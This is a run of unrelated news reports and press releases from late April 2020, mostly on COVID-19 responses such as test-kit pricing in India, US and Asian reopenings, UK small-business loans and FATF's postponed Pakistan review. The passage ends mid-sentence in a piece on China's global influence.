instance as Delhi High Court slashed price of rapid test kit of a Chinese company by 33 per cent Andhra Pradesh government cut the price of the rapid test kit it had ordered from a South Korean company by almost 50 per cent, a week before Delhi High Court slashed the price of a rapid test kit for novel coronavirus imported from China to be supplied to Indian Council of Medical Research (ICMR) by 33 per cent. While it was a dispute between the importer and the distributor that helped the Delhi High Court find the huge trade margin that existed between the import price and the price billed to ICMR, the Andhra government's action was triggered by the huge difference in the price quoted by the an authorised agency to them and the price the manufacturer had directly quoted to the Chhattisgarh government for a similar supply tender. Both instances point to attempt of large scale profiteering by the local suppliers of imported test kits in the country. ALSO READ: Massive 145% profiteering exposed in coronavirus rapid test kits sold to ICMR On April 18, Andhra Pradesh Medical Services and Infrastructure Development Corporation shot a letter to Sandor Medicaids Pvt Ltd, the local company that had bagged a tender to supply 2 lakh rapid test kits manufactured by South Korean firm SD Biosensors at a price of Rs 730 per kit, that the state government will pay only Rs 337 for each kits to the company. The procurement agency's action was based on the information that the Indian arm of the Korean firm - SD Biosensor Healthcare Pvt Ltd - had directly quoted the reduced amount to Chhattisgarh Medical Services Corporation Ltd for a similar purchase tender for that state two days ago. The purchase order issued by Andhra Pradesh government had stipulated that if any instance comes to the notice of the authority that the same items are supplied at a lower price than what has been quoted by the company to other government agencies, the differential amount will be recovered from the bills due. The letter informed that the payment will hence be made at the price quoted for the Chhattisgarh government. It also asked the company to explain the reasons for quoting more than other government suppliers. ALSO READ: Meet Kripa Shanker Gupta, the man who supplied coronavirus test kits to ICMR at 145% mark-up The Delhi High Court case involved the rapid test kits manufactured by Wondfo Biotech, China. While the landing cost of the kit was Rs 245 a piece, ICMR's purchase price was Rs 600. The Court ordered the price to be not more than Rs 400 per test, bringing the cost down by 33 per cent. SAN FRANCISCO, April 28, 2020 /PRNewswire/ -- rideOS, a leading Mobility as a Service technology provider that empowers businesses to build, operate and scale on-demand transportation offerings, today announced that Alto is utilizing the rideOS platform to manage its elevated rideshare service and accelerate its entry into last-mile delivery. Alto is now taking full-advantage of rideOS' dynamic fleet planning and constraint-based routing system to optimize its operations. "As a fleet operator with employee drivers and not just an app-based marketplace, asset utilization of our people and vehicles is critical to our success and profitability. rideOS is a true pioneer in the industry and we're confident their advanced capabilities will help us continue to build a uniquely efficient and profitable rideshare business," said Will Coleman, CEO of Alto. "With the unprecedented decline in ridehail demand due to the COVID-19 crisis, we pivoted to delivery to address the greater need of our community. rideOS' flexible technology helped us instantly adapt and successfully power our new service offering." The rideOS team, with a rich history of commercializing and scaling Mobility as a Service (MaaS) offerings for the likes of Uber, Tesla, Google and Apple, has designed a cloud-based platform that helps fleets of human operated and self-driving vehicles increase their efficiency across a variety of use-cases including ridehail and delivery. Clients typically experience increased revenues, decreased operating expenses and expanded margins soon after implementation, which is usually completed in less than 90 days, thus realizing significant time to value. "We're ecstatic at being selected as Alto's partner of choice, as well providing them with a mobility platform that creates real business agility," said Justin Ho, CEO of rideOS. "Their expertise in fleet management and focus on operational excellence paves a glide path towards integrating driverless vehicles to supplement their existing driver network, and we are already in discussions with several autonomous providers to enable their vehicles onto Alto's network." About rideOS rideOS is a Mobility as a Service (MaaS) technology provider that empowers automotive, autonomous vehicle, ridehail, transportation and delivery businesses to build, operate and scale on-demand transportation offerings utilizing both self-driving and human-operated fleets. Our cloud-based fleet optimization and constraint-based routing platform is designed to enhance performance, optimize efficiency and propel growth while also improving society's quality of life through reduced congestion, pollution and noise. Backed by Sequoia Capital, Next47 and ST Engineering Ventures, rideOS is headquartered in San Francisco, California with offices in Pittsburgh, Pennsylvania, Berlin, Germany and Singapore. rideOS is accelerating the safe, global adoption of next generation transport, and we're just getting started. To learn more visit www.rideos.ai, rideOS on LinkedIn and @rideos on Twitter. About Alto Alto is an on-demand rides and delivery service based in Dallas, TX. Alto manages and operates a dedicated fleet of new, safe, and well-maintained vehicles. Every Alto driver is a W-2 employee, carefully vetted, and rigorously trained. Through Alto's unmatched control over its fleet and customer experience, Alto creates a truly differentiated, safe, and clean ridesharing and delivery experience. From real-time driver monitoring to in-app music control and app-enabled vehicle identification, Alto personalizes each trip to its customers and maintains the highest safety and cleanliness standards in the ridesharing and delivery space today. To learn more visit www.ridealto.com, @ridealto on Instagram, or ridealto on Facebook. Media Contacts For rideOS John Seaner [email protected] +1 267-247-6323 For Alto Kimber Westphall, Westphall PR [email protected] +1 316-516-3277 Related Images image1.png SOURCE rideOS Alabama to Start Reopening on April 30 Alabama will start to reopen on April 30 as Gov. Kay Iveys stay-at-home order expires at 5 p.m., and the state will shift to a less restrictive order. Ivey announced the decision at a press conference on April 28. Ivey, a Republican, enacted the order on April 4 due to the spread of the CCP (Chinese Communist Party) virus, a novel coronavirus that emerged from mainland China last year. At the time, there was a fear that a surge of patients would require hospital care. As of this week, we no longer believe our hospitals will see an overwhelming amount of ICU patients who need ventilators, as we once believed, and that is sure good news, Ivey said. Case numbers and deaths have remained relatively flat in recent days, State Health Officer Dr. Scott Harris told reporters. Hospitals have not faced shortages of equipment. Alternative sites prepared in expectation of a surge in patients have not needed to be used. As of April 28, Alabama has 6,580 confirmed COVID-19 cases, 900 total hospitalizations, and 241 deaths linked to the disease. All but 59 had at least one underlying health condition; those without any conditions were at least 48 years old, with 83 percent being 65 or older. COVID-19, the disease that the CCP virus causes, primarily affects the elderly and those with weakened immune systems. Retailers in Alabama can reopen on Friday with 50 percent occupancy, while ensuring social distancing requirements are met, such as maintaining six feet of distance between people from different households. State beaches will also reopen and elective procedures in medical clinics can resume. Scanning electron microscope image shows the CCP virus (round blue objects), the virus that causes COVID-19, emerging from the surface of cells cultured in the lab. (NIAID-RML) Other businesses wont be allowed to reopen yet because the state hasnt seen a two-week sustained decline in new COVID-19 cases, Harris said. The businesses not allowed to reopen yet include restaurants, salons, and gyms. Ivey called the decision to shut down so-called non-essential businesses extremely difficult and emphasized she feels every business is worthwhile. If government kills a business, Washington cant print enough money to bring it back to life, she said. The new phase, called safer at home, maintains a number of social distancing recommendations and requirements, such as wearing face coverings around people from other households when they leave the house and continuing emphasis on proper hand-washing and other common-sense hygiene practices. People will not face arrest for disobeying the rules but should abide by them, officials said. The threat of COVID-19 is not over. All of our people are susceptible to the infection, Ivey said. Non-work related gatherings of 10 or more or any size that cant maintain social distancing requirements are prohibited. Employers should take reasonable steps to have employees avoid gatherings of 10 or more while ramping up disinfectant efforts. The safer at home order lasts until May 15. A day after 200 people objecting to the cremation of a suspected coronavirus disease (Covid-19) patient in Ambalas Chandpura village were booked for pelting stones at police and health officials, 30 accused in the case were presented before a court on Tuesday. Of the 30 presented in court, three are women. They were booked under sections of Indian Penal Code, Epidemic Diseases Act and Disaster Management Act. They have been sent to judicial custody and we are investigating the case further, inspector Rajesh said. As per protocols, the deceased woman was to be cremated at the designated cremation ground identified by the administration. The villagers raised objection, citing that she was not a resident of their village and started pelting stones. To control the mob, the police had to lathi charge and also fire a couple of rounds in the air. Of the 200 people booked, 54 have been identified and the rest are unknown. AMHERST Guests who sleep at the Craigs Doors homeless shelter will be tested for COVID-19 at Cooley Dickinson Hospital in Northampton, municipal officials said during the Amherst Town Council meeting on Monday night. According to Town Manager Paul Bockelman and Public Health Director Julie Federman, the hospital testing will be done on Tuesday. The testing is voluntary. Any guests who test positive will be referred to one of the states Homeless COVID-19 Isolation Sites, with transportation provided for those who agree to go, they said. The isolation sites are in Lexington, Pittsfield, Taunton, Northampton and Everett, operated by Massachusetts Emergency Management Agency. Federman said the town should get the results back in less than two days. We can be pretty sure we will have several that are positive, she said, based on data from Boston homeless shelters that indicated many guests were carriers of the respiratory disease caused by the novel coronavirus. Under an arrangement with Hampshire College, Amherst has use of a dormitory to function as a quarantine area for those who do not test positive but have been in contact with those at Craigs Doors who do test positive, she said. There is space at the Hampshire dorm for 20 individuals to quarantine, Federman said. We are prepared, she said. Several councilors Monday expressed concerns about folks in town failing to abide by social distancing practices. Health experts strongly recommend that people keep at least six feet apart to help reduce risk of spreading the disease. There was also discussion about whether everyone should wear a face covering or a mask. District 4 Councilor Stephen D. Schreiber told his colleagues: If I see someone not wearing a mask, I give them 12 feet of distancing. A street outside the Pavilion shopping complex in Kuala Lumpur is nearly deserted as Malaysia copes with the COVID-19 pandemic, April 15, 2020. Malaysian businesses that have been operating on a reduced scale can return to full production starting Wednesday, provided they meet strict requirements for safeguarding workers from the coronavirus, the minister for international trade and industry announced Tuesday. The move aims to revitalize the supply chain of goods and services in order to meet demand in Malaysia and internationally, Minister Mohamed Azmin Ali said. Recognizing the urgent need to address the current economic crisis, the government has agreed that the economic sectors that have been allowed to operate increase their capacity to operate fully and [be] allowed to operate indefinitely according to their industry needs, he said in a press release. Azmin warned, however, that those who fail to meet standard procedures for operating amid the COVID-19 pandemic would see their operations terminated and could face court action. Attempts to fight COVID-19 have not yet succeeded, but we have managed to flatten the curve to a manageable level. However, we should not be complacent and will continue to do our best to ensure the health and safety of the people, Azmin said. While the governments movement control order through May 12 continues, the Ministry of Health listed a series of procedures that must be met for businesses to continue operations. The order affects the automotive industry, construction projects as well as scientific and technical services, including research and development efforts related to COVID-19. Among them are that workers are required to undergo COVID-19 screening, there is enough space provided for workers to do their jobs and there must be no gathering of workers in a confined space, Noor Hisham Abdullah, Malaysias health director-general said on Tuesday. Social distancing must also be observed and companies must make sure that their employees practice proper hygiene by regularly washing their hands using soap or hand sanitizer, he said. As Malaysia took a step toward reopening the country for business, neighboring Thailand announced it was extending the national COVID-19 emergency. The Thai government on Tuesday justified its decision to extend its national coronavirus emergency through the end of May, saying the measure to restrict movement was still needed to prevent COVID-19 from spreading. We still cant rest assured and live a normal life. The only way we can return to a normal life is if we have a vaccine or effective medicine, but we dont, said Taweesilp Wissanuyothin, spokesman for the governments COVID-19 task force. We need to be keep serious control and keep the figures low for 14 more days. The extension allows the government of Prime Minister Prayuth Chan-o-cha to maintain a late- night curfew, restrict domestic travel, prohibit public gatherings and ban non-resident foreigners from entering Thailand. Bangkok Gov. Assawin Kwanmuang, meanwhile, said his administration was considering reopening restaurants, markets and salons while maintaining social distancing rules in the capital city. The announcements drew a mixed reaction from one woman. I agree with the emergency extension because we need to completely get rid of the coronavirus, particularly before we welcome back tourists, Kwannapat Hopinyochinda, a Bangkok beauty salon employee told BenarNews. And the news from the Bangkok administration is very welcome because I have to make a living. Elsewhere, a group representing lawmakers from member-states of the Association of Southeast Asian Nations (ASEAN) called on governments and companies across the region to do more to keep workers healthy and safe amid the pandemic, as it marked international Workers Memorial Day. Every day millions of workers in Southeast Asia are going to work so that our countries keep running, but many are being forced to do so in dangerous conditions that put them at risk of contracting or spreading the virus, said Chamnan Chanruang, a former Thai MP, in a statement issued by the ASEAN Parliamentarians for Human Rights (APHR). ASEAN governments must work with employers across all sectors to immediately step up action to make sure that everyones right to healthy and safe conditions at work are respected: if these workers are not protected, no one is. Indonesia death toll Meanwhile in Indonesia, the government reported on Tuesday that the nationwide death toll from the pandemic stood at 773, as Reuters news service reported exclusively that another 2,212 Indonesians had died with acute symptoms of COVID-19 but were not included in the governments official count. The news service said it reached its conclusion based on its survey data from 16 of the countrys 34 provinces, along with figures supplied by clinics and hospitals along with officials who oversee burial protocols in those provinces. Achmad Yurianto, spokesman for the national COVID-19 task force, could not be immediately reached by BenarNews for comment on the report, but a member of the task force, Wiku Adisasmito, told Reuters he did not dispute its findings. Reporting on the government figures on Tuesday, Achmad said nearly half (351) of the 773 who died of COVID-19 complications were between the ages of 30 and 59, while those between the ages of 60 and 79 accounted for another 301 deaths. On Monday, COVID-19 task force chairman Doni Monardo told Indonesians that if they obeyed restrictions imposed by the government, their lives could return to normal by July. The president has asked all of us to work harder and the authorities to be more assertive [in enforcing restrictions], Doni told reporters. Indonesia confirmed eight new deaths and 415 COVID-19 infections on Tuesday, taking the number of confirmed cases to 9,511, Achmad said. Thai officials reported seven new cases Tuesday, the lowest since mid-March, along with two deaths, bringing the total number of infections to 2,938 and deaths to 54. Malaysia recorded a new low of 31 new cases and one death on Tuesday, bringing those totals to 5,851 and 100, respectively. Malaysias health director-general credited the nations ongoing movement control order with containing the spread. This achievement is a result of the proactive and aggressive measures by the government in curbing the COVID-19 pandemic before and during the MCO, Noor Hisham Abdullah said. Globally, nearly 3.1 million have been infected by COVID-19 and more than 215,000 have died, according to data compiled by disease experts at U.S.-based Johns Hopkins University. Noah Lee in Kuala Lumpur, Nontarat Phaicharoen and Wilawan Watcharasakwet in Bangkok and Ronna Nirmala in Jakarta contributed to this report. Gulabo Sitabo starring Amitabh Bachchan and Ayushmann Khurrana was slated for a release on April 17, 2020. The filmmaker has said that he is open for a digital release but would like to take a decision after May 3. Lockdown in India has reinitiated a conversation on the release of films. Since the cinema houses are shut, the release date of many films have been pushed ahead and urged filmmakers to consider releasing their films on OTT platforms. Amid reports that Akshay Kumars Laxmmi Bomb, Kriti Sanons Mimi and Sunny Kaushals Shiddat are figuring out prospectives to release the film on digital platform, Shoojit Sircar, who has directed Gulabo Sitabo starring Amitabh Bachchan and Ayushmann Khurrana, has revealed if he plans a digital release. In an interview with a news portal, Shoojit Sircar said that he would want his film to open in theatres as a filmmaker but the situation is unlike we have ever seen before. He is open to having a digital release for Gulabo Sitabo but that decision will be taken after May 3. The filmmaker added that the case may not be the same for his other film Sardar Udham Singh biopic. He has envisioned that to be a big screen experience. Even when they were shooting for the film at Jallianwala Bagh, he had tears in his eyes. However, they are not thinking about that right now because the film is slated to release in January 2021. Also Read: Paras Chhabra spills the beans about his equation with Mujhse Shaadi Karoge costar Shehnaaz Gill, says cant handle her as she is irritating Also Read: Ramzan 2020: Hina Khan stuns in a yellow suit; Ekta Kapoor, Rashami Desai, Tina Dutta and others shower compliments Sharing his experience of working with Amitabh Bachchan, Ayushmann Khurrana had earlier said in an interview that one always has to be on his/her toes as a co-actor in front of Big B. It is not easy. He is always so well prepared. Also Read: After recovering from coronavirus, Kanika Kapoor offers to donate her plasma For all the latest Entertainment News, download NewsX App By David Milliken and William Schomberg LONDON (Reuters) - British finance minister Rishi Sunak bowed to pressure on Monday to do more to help companies survive the coronavirus shutdown, announcing full state guarantees on lending to Britain's smallest businesses. Sunak, who previously opposed 100% government backing for emergency credit for small firms, said the government would fully stand behind commercial loans of up to 50,000 pounds ($62,000) to firms. By David Milliken and William Schomberg LONDON (Reuters) - British finance minister Rishi Sunak bowed to pressure on Monday to do more to help companies survive the coronavirus shutdown, announcing full state guarantees on lending to Britain's smallest businesses. Sunak, who previously opposed 100% government backing for emergency credit for small firms, said the government would fully stand behind commercial loans of up to 50,000 pounds ($62,000) to firms. Banks handling the loans will not be required to run credit checks or assess the long-term viability of applicants. Firms will have no interest or repayments for the next 12 months. "Some small businesses are still struggling to access credit," Sunak told parliament. "If we want to benefit from their dynamism and entrepreneurial spirit as we recover our economy, they will need extra support." Most British businesses have been shut to the public since March 23 under a government lockdown to slow the spread of COVID-19, the respiratory disease that the coronavirus can cause. Government forecasters have said the economy could contract by 35% in the second quarter of 2020, and Prime Minister Boris Johnson said on Monday it was still too risky to relax the lockdown. Britain last month announced an emergency 330 billion-pound credit scheme including loans of up to 5 million pounds for small and medium-sized companies, with state guarantees of 80%. But that programme got off to a slow start, with many companies saying they were struggling to get banks to approve their loans. "CRUCIAL NEW ROUTE" Sunak said banks had now provided 3.4 billion pounds in 20,000 loans via the government's Coronavirus Business Interruption Loan Scheme (CBILS). The Bank of England had separately issued more than 14 billion pounds to bigger firms. BoE Governor Andrew Bailey suggested this month that 100% state guarantees for the smallest loans might break a backlog in loans applications. The new scheme, which the government calls Bounce Back Loans, will open to businesses next Monday and aims to pay funds to firms within 24 hours of a successful application. Business organisations broadly welcomed the new scheme, but said time was of the essence for many small businesses struggling with cash flow. "This new route for our smallest companies to apply quickly and get a fast decision will be crucial to those who have struggled to get a CBILS loan," British Chambers of Commerce Director General Adam Marshall said. Sunak has sought to counter criticism about CBILS by highlighting the strong take-up for another emergency government scheme which pays 80% of the pay of workers temporarily laid off by companies. He said half a million firms had made claims under the job retention scheme which covered nearly 4 million jobs with a value of 4.5 billion pounds. (Editing by Timothy Heritage) This story has not been edited by Firstpost staff and is generated by auto-feed. Establishes Taiwan office to support teams, including two with a focus on detection of coronavirus Boston-based Laboratory-as-a-Service (LaaS) leader, SmartLabs, has announced the establishment of the Global Launch Program, a world-class life sciences accelerator. Through a partnership with the Ministry of Science and Technology (MOST), SmartLabs is expanding internationally with a new biomedical innovation base in Hsinchu Biomedical Science Park. The Department of Academia-Industry Collaboration and Science Park Affairs will carefully select biomedical innovation teams to participate in the Global Launch Program. The program is open to any promising life sciences start up. SmartLabs has already identified two participants with technologies potentially suited for the detection of novel coronaviruses. Hawk Scientifics qPCR nucleic acid detection technologies, such as the portable diagnostic suitcase and the handheld IoT reader with lateral flow strip tests, are designed for emerging pathogen outbreaks and animal diseases for on-site detection. At present, each machine can complete 300 nucleic acid tests in one hour. Both detection systems could apply in rapid COVID-19 virus screening and identification. Instant NanoBiosensors uses nano-fiber particles to develop nano-biosensors. Its state-of-the-art fiber optic particle plasmon resonance (FOPPR) technology offers instant and accurate results for a wide range of detection applications, including medical diagnostics and possible early detection of the virus SARS-CoV-2. Using Instant NanoBiosensors technology, diagnostic time has been drastically reduced from 3 hours to minutes. Through its new Taiwan office, SmartLabs will assist both Hawk Scientific and Instant NanoBiosensors in navigating accelerated commercialization processes and FDA testing in an attempt to mitigate current and future global epidemics. Through the Global Launch Program, the startups will have access to training, mentorship and residency in SmartLabs leading, adaptable lab spaces. The three-month curriculum will include guidance on creating a business plan, engaging in fundraising and partnerships, developing intellectual property, and conducting product launches while navigating regulatory environments. Following the initial stages of learning and development, the teams will have access to SmartLabs' facilities and operations across Massachusetts, enabling companies to quickly scale and enter the international market. BEIJING, April 27 (Xinhua) -- Chinese authorities Monday urged the safe and orderly opening of tourist sites across the country amid the COVID-19 epidemic during the upcoming five-day May Day holiday. Authorities across China should guarantee healthy travels during the holiday while trying to boost tourist consumption, according to a teleconference convened by the Publicity Department of the Communist Party of China Central Committee and the Ministry of Culture and Tourism. Efforts should be made to control passenger flows, avoid gathering of crowds, implement reservation systems and raise public awareness of epidemic prevention and control, stressed the meeting. This year's May Day holiday will last from May 1 to 5. Five people were detained and another 300 booked on Tuesday for alleged rioting and violation of the Covid-19 lockdown after migrant workers clashed with police personnel in Gujarats Surat. Police said the trouble began around 7 am when police personnel on duty in Thakor Nagar objected to some workers roaming around in a local market. A few labourers were roaming around without any reason. When policemen on patrol asked them to stay indoors and follow the lockdown restrictions, they got angry and started throwing stones. Later, some locals and the stone pelters started arguing with the police, said inspector H M Chouhan of the Dindoli police station. Chouhan said an additional police force was rushed to the spot and the dispute was resolved after an hour-long standoff. However, one head constable identified as Kamlesh Choudhary got injured and a police vehicle was damaged, Chouhan said. This is the third violent incident reported from Surat involving migrant workers since the lockdown was imposed last month to check the Covid-19 spread. On April 11, 81 migrant workers, mostly from Odisha, were arrested in Surat for rioting and violating the Epidemic Diseases Act, 1897. The workers allegedly resorted to violence after many of them were not paid their salaries for March and also denied permission to return to their homes. Over 90 migrant workers were arrested on March 30 in Surat for attacking police after they were not allowed to return to their native places. The lockdown left tens of thousands of migrant workers jobless and promoted many of them to return to their homes including on foot from bigger cities. The exodus prompted the Centre to ask the states and Union territories to seal their borders for non-essential travel and look after the stranded migrant workers in relief camps. But many workers have gathered in places like Mumbai and Surat demanding that they be allowed to return to their homes even as the Centre has allowed gradual restart of the economy outside the Covid-19 hotspots since the lockdown was extended this month until May 3. A doctor, who had tested positive for coronavirus COVID-19, died in West Bengal on Monday (April 27) becoming the second doctor to lost his life due to the deadly disease in the state. The was an orthopaedic surgeon with a private hospital in Kolkata and was admitted to hospital on April 14. The man was a resident of Bondel Road, Ballygunge, and was on ventilator since April 17. The deceased doctor had tested positive for COVID-19. On April 26, West Bengal had registered the first death of a doctor due to coronavirus in the state. The doctor identified as Biplab Kanti Dasgupta was the assistant director, Health Services, West Bengal. He was also Assistant Director of Health Services, Central Medical Stores. West Bengal Chief Minister Mamata Banerjee had expressed grief over Dr Dasgupta's demise and said, "We have lost Dr Biplab Kanti Dasgupta Assistant Director, Health Services, West Bengal in the early hours of today. He was Assistant Director of Health Services, Central Medical Stores. We are deeply pained with his untimely demise." CM Banerjee noted that Dr Dasgupta's ultimate sacrifice for the cause of humanity will always remain in the hearts of the people of the state and he will inspire the COVID-19 warriors to fight the deadly disease with more determination. Pakistan on Tuesday got a four-month reprieve for meeting a deadline set by the Financial Action Task Force (FATF) to counter terror financing as the multilateral watchdog announced a temporary suspension of its activities because of the Covid-19 crisis. However, the Paris-based organisation said in a statement that there would be no let-up in its efforts to fight money laundering and terror financing, and that it would actively monitor the impact of the Covid-19 crisis on measures to counter illicit financing. The move had been widely anticipated as officials of FATF and affiliated regional groups have been unable to make visits to countries such as Pakistan to monitor the implementation of action plans and other programmes because of travel restrictions imposed around the world to prevent the spread of the pandemic. Pakistan has been on FATFs grey list of monitored jurisdictions since June 2018 for failing to counter terror financing, especially by groups such as Lashkar-e-Taiba (LeT), Jaish-e-Mohammed (JeM), Taliban, al-Qaeda and Haqqani Network. A FATF plenary meeting in February had warned Pakistan that it had failed to meet all deadlines for a 27-point action plan, and given the country four more months to implement it. The FATFs statement said the watchdog had decided on a general pause in the review process for the list of high-risk jurisdictions subject to a call for action and jurisdictions subject to increased monitoring, by granting jurisdictions an additional four months for deadlines. Thus, the FATF is not reviewing them in June, the statement said, adding the organisations plenary had agreed to temporarily postpone all remaining FATF mutual evaluations and follow-up deadlines. Though FATF posted an updated assessment calendar, Pakistan wasnt among the countries for which details have been finalised so far. The FATF said the calendar would be updated as the situation evolves. The statement further said: Despite the decision to temporarily postpone the above-mentioned process deadlines due to the current force majeure situation, the FATF will not let up its efforts to fight money laundering, terrorist financing and proliferation financing, and will continue working with all jurisdictions in its global network to ensure an effective implementation of its standards. The FATF is actively monitoring the impact of the Covid-19 crisis on measures to combat illicit financing. We remain vigilant to the threats posed by criminals and terrorists who may seek to exploit this period to further their criminal objectives. The gravity of the Covid-19 crisis globally and consequent measures adopted by countries, such as confinement and travel restrictions, are making it impossible for countries and FATF teams to conduct on-site visits and in-person meetings, the statement said. This situation has significantly impacted countries ability to actively participate in mutual evaluation and related follow-up processes. The FATF Plenary acknowledges these severe challenges that countries face at this difficult time, it said. Pakistans performance was to be assessed at review meetings to be held in Beijing during June 21-26. The review is now expected to be done in October. During its assessment at its plenary meeting in February, the FATF concluded that all deadlines for Pakistans action plan have expired and the country had largely addressed only 14 of the 27 points in the action plan. FATF had warned Pakistan that if its action plan is not fully implemented, it would face the possibility of being moved to the list of monitored countries, commonly known as the black list. SHARE THIS ARTICLE ON City staff recommend pushing ahead with a plan to house homeless people in modular housing as early as September as the COVID-19 pandemic continues to plague the shelter system. A report is expected to be tabled at a special council meeting this Thursday. According to early information posted by staff online, council will be asked to approve an expedited plan that would see 110 new, prefabricated units created by September and another 140 by early 2021. Since last year, staff have been working on a plan for modular housing units that can be made and fit together off-site, furniture and all, and then lifted by crane into an open lot quickly and moved as needed since last summer. The emergency got in the way of a report being presented to committee last month, the early staff information says. The modular housing solution is meant to respond to the homelessness crisis, which staff note was an issue before the COVID-19 pandemic and only amplified by the virus. Toronto was already experiencing an unprecedented demand for homeless services due to various factors, including a lack of affordable housing options in the city, the report says. Despite adding 3,000 shelter spaces since 2015, shelter occupancy remains at capacity with over 8,000 shelter users each night. The considerable added strain on the emergency shelter system caused by COVID-19 outbreaks has seen staff work to distance existing clients using community centres and hotel rooms expected to reach 2,000 added spaces and up to 700 redeployed staff by the end of the month. Modular housing, used elsewhere in North America, provides an opportunity to respond rapidly to the citys urgent homelessness situation, the report says. Other jurisdictions already using modular housing include Vancouver. Abigail Bond, the new executive director of Torontos housing secretariat, was the B.C. citys managing director of homelessness services and affordable housing programs. In an interview with the Star in February, Bond explained how Vancouver had created 2,000 new affordable units, 600 of them developed in some kind of modular construction. The most important piece is the fact that its actually providing home. The modular is kind of an interesting aspect to the construction, but its really just the means to an end, she said at the time. Staff have applied to the Canada Mortgage and Housing Corporation (CMHC) for funding and financing for the project. The citys report says CMHC has responded favourably and is currently working with the city to formalize support for phase one. The city will also look for additional funding from the province for health-related support services and housing subsidies to make the affordable units available to those facing mental health issues, addictions and other challenges. On Tuesday, the city surpassed 5,000 COVID-19 cases, with Dr. Eileen de Villa, Torontos medical officer of health, reporting 5,128 people infected with the virus 4,647 confirmed cases and 481 probable. In total, 305 people have died. Of the numbers, de Villa reiterated that the city is still believed to be in the peak period and the curve is flattening the number of cases over time levelling off but nonetheless called the public health impacts on the city concerning. Jennifer Pagliaro is a Toronto-based reporter covering city hall and municipal politics for the Star. Follow her on Twitter: @jpags Reality television shows "America's Got Talent" and "World of Dance" are set to have their season premieres back-to-back next month, the NBC has announced. According to The Hollywood Reporter, the two shows will arrive on May 26. The first episode of "America's Got Talent" season 15 will air at 8 pm, introducing new judge Sofia Vergara along with Heidi Klum, Simon Cowell, Howie Mandel and host Terry Crews. "World of Dance" will return for its fourth season to find its new "best dancer in the world" at 10 pm. Judges Jennifer Lopez, Derek Hough and Ne-Yo are returning and so is host Scott Evans. "America's Got Talent" had only filmed part of its season before production stopped due to the spread of the coronavirus pandemic. Sources told the outlet that producers are still figuring out how to proceed after the bank episodes run out. "We are so proud to present a 15th season of 'America's Got Talent' this summer. This show represents the best in perseverance, creativity and optimism. At a time when families are unable to go out, we really hope the new season will bring some much-needed joy and escape," said Cowell. But "World of Dance" will have an uninterrupted run through the summer as the series had wrapped production by mid-March. "I'm so excited 'World of Dance' is back this summer with a new crop of incredible dancers. "On our show we always say that dance is the universal language. It brings us all together, which I think is something we all need during these challenging times," said Lopez. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The coronavirus pandemic created many obstacles for entrepreneurs in Azerbaijan, and also negatively affected e-commerce, Nijat Asadli, Manager at the Digital Trade Hub told local media. According to him, a project of electronic and mobile residence (m-residency) currently provided through the Digital Trade Hub in Azerbaijan ignores all the physical obstacles, because it allows anyone with such capabilities to realize any electronic transaction, manage his/her bank account, and use other public services. Furthermore, we plan to digitalize other fields of activity, as well, he said. At present, entrepreneurs taking advantage of such opportunities can do their business in Azerbaijan without visiting the country. Such opportunities will prevent all other restrictions that may arise in the future," said the manager. Asadli also noted that Azerbaijan Digital Trade Hub has many plans within the project. "Currently, work is underway to expand the scope of services for the mobile electronic residents. Additionally, a new import and export design will be offered for local entrepreneurs," he said. With this project, registered entrepreneurs will be able to follow all import and export operations in alphabetical order from A to Z. This function will be implemented to simplify the use of portal services. Azerbaijan Digital Trade Hub will show its superiority in the future. The hub is also developing a mobile signature service for Azerbaijani citizens abroad. This of course will create an opportunity for them to conduct various banking transactions and conduct documentation management online. Realization of such an opportunity via the project is on the agenda," Asadli said. The Digital Trade Hub project allows foreign citizens to acquire a mobile and electronic residence, after which they are be able to use the portal services to sell various goods and services. Egypt has extended its state of emergency by three months to help authorities deal with both the threat of the coronavirus and insurgent activity in the Sinai region, the president said Monday. Citing dangerous conditions in the health and security sectors, Egyptian President Abdel Fattah al-Sisi announced the extension in the countrys official gazette. "The armed forces and the police shall take all necessary measures to protect against terrorism, maintain security and safeguard public and private property as well as people's lives. Anyone who violates the orders will face imprisonment," read the announcement. Renewed every three months, the state of emergency grants Egyptian security forces the power to make sweeping arrests and search homes without a warrant. Egypt has been under a continuous state of emergency since twin suicide bombings claimed by the Islamic State in April 2017 killed dozens at a pair of Coptic churches in northern Egypt. The countrys state of emergency has been extended 11 times since then. The Health Ministry today confirmed 22 more deaths from the coronavirus, bringing the death toll to 359. The total number of reported infections in the country of 100 million stands at 5,042. Like many governments in the region, Egypt has recently eased some COVID-19 restrictions and increased freedom of movement during the holy month of Ramadan. Egypt will allow malls and some shops to stay open until 5 p.m. on weekends. The nationwide curfew, which had begun at 8 p.m. each night, will now run from 9 p.m. until 6 a.m. Prime Minister Mustafa Madbouly said the government will reevaluate in two weeks whether to keep the measures or tighten restrictions. In March, Egypt closed its airports, dealing a massive blow to its tourism industry, which accounts for as much as 15% of the countrys gross domestic product. On Sunday, Madbouly said Egypt asked the International Monetary Fund for a one-year financial aid package to help shore up the economy amid the pandemic. Under the Egyptian Constitution, presidential decisions to renew the state of emergency must be approved by the country's parliament. Beijing has overplayed its global hand during the ongoing coronavirus crisis, but its longer-term goal of undercutting Western democracies remains intact, witnesses told a US congressional advisory panel on Monday, warning against any discounting of China's ability to shift gears and retrench. China experts testifying before the US-China Economic and Security Review Commission highlighted several moves that have tarnished the country's image, including a flood of defective masks, protective gowns and ventilators that Beijing has sent to other countries. China's global propaganda campaign has often been blunt and obvious to foreign ears, and a series of coronavirus-related racist incidents in Guangzhou sparked strong diplomatic resistance from African leaders, leading to calls for debt relief tied to the Belt and Road Initiative, President Xi Jinping's signature infrastructure project, the experts pointed out. "This is a very tough moment and unprecedented challenge for China as Xi Jinping himself recognised it. It's a crisis unprecedented since the creation of the PRC," said Nadege Rolland, a senior fellow with the National Bureau of Asian Research, referring to the People's Republic of China. "What China is trying to sell to the rest of the world is maybe not a good version of the world we want," she added in her presentation, delivered remotely. "At the same time, the party has proven over and over again its capacity to be adaptive and flexible." Witnesses at the panel, titled "A 'China Model'? Beijing's Promotion of Alternative Global Norms and Standards", said Beijing's global influence campaign " aimed at burnishing its reputation after Covid-19 spread from Wuhan to the rest of the world " fits into a broader, long-term strategy. In a campaign laid out decades ago, China seeks to expand its influence, blunt international human rights and other criticism, rejuvenate the nation and bolster its popularity in advance of the 2049 centenary of moderns China, they said. Even as the strategy remains roughly constant, however, its tactics shift and evolve. Story continues Beijing's goals also include pressure on other countries to block websites, delete references to Taiwan and blunt other content it deems offensive, according to the commission, which was set up in 2001 as China's global footprint expanded. The government also wants to expand its business model and the debt dependence of foreign nations, especially related to Belt and 